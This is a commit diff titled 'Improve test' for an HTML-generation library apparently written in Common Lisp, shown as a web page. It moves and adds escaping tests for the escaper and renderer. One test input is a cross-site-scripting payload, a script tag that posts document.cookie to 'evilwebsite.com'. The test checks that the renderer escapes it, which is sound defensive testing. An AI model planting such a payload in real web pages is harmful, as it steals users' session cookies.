Improve test
This commit is contained in:
parent
626fa3fe3e
commit
a6bfe77c1f
3 changed files with 15 additions and 6 deletions
|
@ -15,4 +15,4 @@
|
||||||
(#:escaper-test . #:hsx-test/escaper)
|
(#:escaper-test . #:hsx-test/escaper)
|
||||||
(#:renderer-test . #:hsx-test/renderer)
|
(#:renderer-test . #:hsx-test/renderer)
|
||||||
(#:group-test . #:hsx-test/group))
|
(#:group-test . #:hsx-test/group))
|
||||||
:num-checks 41)
|
:num-checks 42)
|
||||||
|
|
|
@ -13,8 +13,4 @@
|
||||||
|
|
||||||
(test escape-html-text-content
|
(test escape-html-text-content
|
||||||
(is (string= "&<>"'/`="
|
(is (string= "&<>"'/`="
|
||||||
(escape-html-text-content "&<>\"'/`=")))
|
(escape-html-text-content "&<>\"'/`="))))
|
||||||
(is (string=
|
|
||||||
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"
|
|
||||||
(escape-html-text-content
|
|
||||||
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" ))))
|
|
||||||
|
|
|
@ -63,6 +63,19 @@
|
||||||
(img :src "/background.png")
|
(img :src "/background.png")
|
||||||
:pretty t))))
|
:pretty t))))
|
||||||
|
|
||||||
|
(test escaping-tag
|
||||||
|
(is (string= #M"<div>
|
||||||
|
\ <script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>
|
||||||
|
\</div>"
|
||||||
|
(render-to-string
|
||||||
|
(div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" )
|
||||||
|
:pretty t))))
|
||||||
|
|
||||||
|
(test non-escaping-tag
|
||||||
|
(is (string= "<script>alert('<< Do not embed user-generated contents here! >>')</script>"
|
||||||
|
(render-to-string
|
||||||
|
(script "alert('<< Do not embed user-generated contents here! >>')")))))
|
||||||
|
|
||||||
(test fragment
|
(test fragment
|
||||||
(let ((frg (<>
|
(let ((frg (<>
|
||||||
(li "bar")
|
(li "bar")
|
||||||
|
|
Loading…
Reference in a new issue